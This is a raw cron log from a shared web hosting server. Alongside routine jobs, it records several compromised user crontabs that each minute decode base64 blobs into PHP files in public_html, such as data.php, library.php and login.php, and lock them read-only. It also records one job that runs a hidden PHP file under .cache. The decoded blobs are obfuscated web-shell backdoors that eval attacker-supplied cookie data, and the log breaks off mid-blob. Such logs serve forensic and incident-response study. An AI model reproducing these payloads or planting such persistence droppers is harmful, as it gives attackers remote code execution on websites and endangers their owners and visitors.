Mar  2 08:01:02 medusa CROND[30840]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:01:02 medusa CROND[30845]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:01:02 medusa CROND[30852]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:01:02 medusa CROND[30853]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:01:02 medusa CROND[30856]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:01:02 medusa CROND[30857]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:01:02 medusa run-parts(/etc/cron.hourly)[30835]: starting 0anacron
Mar  2 08:01:02 medusa run-parts(/etc/cron.hourly)[30964]: finished 0anacron
Mar  2 08:02:01 medusa CROND[11441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:02:01 medusa CROND[11484]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:02:01 medusa CROND[11485]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:02:01 medusa CROND[11576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:02:01 medusa CROND[11578]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:02:01 medusa CROND[11580]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:02:01 medusa CROND[11583]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:02:01 medusa CROND[11587]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:02:01 medusa CROND[11598]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:02:01 medusa CROND[11602]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:02:01 medusa CROND[11603]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:02:01 medusa CROND[11581]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:02:01 medusa CROND[11601]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:03:02 medusa CROND[29409]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:03:02 medusa CROND[29410]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:03:02 medusa CROND[29412]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:03:02 medusa CROND[29415]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:03:02 medusa CROND[29416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:03:02 medusa CROND[29417]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:03:02 medusa CROND[29422]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:03:02 medusa CROND[29426]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:03:02 medusa CROND[29429]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:03:02 medusa CROND[29432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:03:02 medusa CROND[29437]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:03:02 medusa CROND[29438]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dls